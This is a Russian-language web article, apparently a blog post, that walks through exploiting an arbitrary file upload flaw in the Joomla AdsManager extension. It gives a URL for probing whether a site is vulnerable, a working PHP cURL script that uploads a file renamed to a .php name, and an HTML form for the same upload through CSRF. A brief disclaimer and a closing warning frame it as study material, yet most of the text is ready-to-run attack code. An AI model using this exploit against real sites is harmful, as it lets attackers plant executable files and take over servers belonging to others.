Рассмотрим более детально как происходит взлом сайтов через уязвимость в AdsManager. Внимание, данная статья не является пособием по взлому сайтов, она создана для изучения уязвимости!

Самый простой способ определить, есть ли потенциальная возможность для данной уязвимости, нам необходимо в строке браузера ввести:

nameofsite.name/index.php?option=com_adsmanager&task=upload&tmpl=component

И если нам выдаст результат:

{"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile" : "_1"}

то значит в папке tmp/plupload был создан файл _1.

Теперь изучим саму атаку.

<?php

$url = "http://nameofsite.name/index.php?option=com_adsmanager&task=upload&tmpl=component"; // Здесь мы вводим ссылку

$post = array

(

"file" => "@wot.jpg", // Здесь указываем файлы для загрузки

"name" => "wot.php" // Подменяем имя конечного файла

);

$ch = curl_init ("$url");

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");

curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);

curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);

curl_setopt ($ch, CURLOPT_POST, 1);

@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);

$data = curl_exec ($ch);

curl_close ($ch);

echo $data; // Отправляем данные POST-запросом и получаем результат

?>

# Еще вариант через CSRF уязвимость загрузить файл через форму:

<form method="POST" action="http://nameofsite.name/index.php?option=com_adsmanager&task=upload&tmpl=component"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</form>

Вот и ничего сложного, взломать и первокласснику не составит труда, поэтому будьте бдительны в выборе расширений для Joomla, особенно в которых присутствует загрузка файлов!

И здесь подробно расписано, как избавиться от уязвимости в AdsManager

Добавить комментарий